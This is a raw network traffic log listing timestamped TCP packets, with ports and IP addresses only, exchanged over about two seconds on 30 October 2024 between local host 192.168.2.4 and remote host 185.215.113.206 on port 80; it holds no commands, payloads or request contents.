Oct 30, 2024 02:27:08.112818003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112839937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112878084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.112905979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.112931967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112953901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112976074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.113001108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.113646030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.113682985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.113702059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.113707066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.113727093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.113749981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.113765001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.113782883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.113810062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.113823891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.166961908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167033911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167059898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.167068005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167088985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167092085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.167109013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167133093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167135000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.167150021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.167196035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.167324066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167342901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.167371988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.167396069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.199522972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.199553013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.199575901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.199604034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.199640036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.231643915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.231664896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.231698990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.231713057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.286051989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.286118031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.286123991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.286156893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.286169052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.286185980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.286204100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.286216021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.286231995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.286293030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.286305904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.286329031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.286353111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.318487883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.318543911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.318572998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.318586111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.318620920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.318639994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.318655968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.318692923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.318698883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.318752050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.404618025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.404668093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.404695988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.404721975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.404933929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.404989004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.404999018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.405025959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.405036926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.405077934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.405081034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.405118942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.405128002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.405157089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.405168056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.405204058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437539101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437649012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437678099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437688112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437702894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437746048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437753916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437784910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437791109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437822104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437833071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437860012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437886000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437896013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.437906981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.437937975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.524120092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.524202108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.524225950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.524246931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.524255037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.524291992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.524312973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.524338961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.524349928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.524390936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.524391890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.524441004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.524441004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.524492979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.556538105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.556616068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.556763887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.556966066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557018995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557032108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.557054043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557070971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.557089090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557109118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.557142973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.557146072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557195902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.557213068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557245970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557272911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.557279110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.557305098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.557336092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.643450975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.643467903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.643479109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.643507957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.643520117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.643546104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.643596888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.643649101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.643660069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.643702984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.675651073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.675678015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.675731897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.675957918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.675970078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.675980091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.675991058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.676003933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.676009893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.676017046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.676037073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.676050901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.676650047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.676693916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.676709890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.676750898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.914165974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914184093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914196014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914222956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914236069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914247036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914267063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914268970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.914278030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.914309025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.914326906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.947704077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947722912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947736979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947747946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947760105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947770119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947776079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.947793007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.947829962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.947906971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947918892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947928905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.947969913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.947985888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.948012114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.948024988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.948036909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.948046923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.948062897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.948086023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.948796988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.948820114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.948829889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.948864937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.948892117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.001828909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.001844883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.001857996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.001879930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.001905918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.033196926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.033207893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.033287048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.034023046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.034033060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.034064054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.034077883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.034087896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.034106970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.034140110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.034269094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.034316063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.034329891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.034346104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.034374952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.066530943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.066540956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.066598892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.120928049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.120943069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.120954037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.121043921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.153508902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.153522015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.153533936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.153544903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.153559923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.153610945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.153672934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.185926914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.185940981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.185951948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.185993910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.186029911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.239778996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.239800930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.239854097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.239885092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.239895105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.239903927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.239945889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.272300959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.272316933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.272332907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.272377014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.272403955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.272412062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.272423029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.272453070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.272454977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.272490978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.304667950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.304722071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.304733038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.304749012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.304776907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.304840088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.304888964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.304922104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.304933071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.304975986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.359267950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.359278917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.359285116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.359561920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.391562939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.391575098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.391619921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.391819954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.391830921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.391841888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.391851902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.391870022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.391897917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.424103975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.424115896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.424293995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.424381018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.424392939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.424398899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.424501896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.478116035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.478128910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.478180885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.478199959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.478200912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.478210926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.478245974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.510576963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.510626078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.510632038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.510644913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.510672092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.510684967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.510756016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.510782003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.510792971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.510797977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.510812044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.510833979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.542974949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.542988062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.542999029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.543023109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.543045044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.543122053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.543134928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.543144941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.543159008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.543194056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.748411894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748434067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748442888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748447895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748452902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748459101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748671055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.748743057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748785973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748794079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.748796940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748820066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.748845100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.748859882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748900890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.748922110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.748961926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.836666107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.836689949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.836724997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.836740971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.836750031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.836766005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.836781979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.836807013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.836826086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.837006092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.837021112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.837048054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.837079048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.867486000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.867505074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.867523909 CET	80	49730	185.215.113.206	192.168.2.4
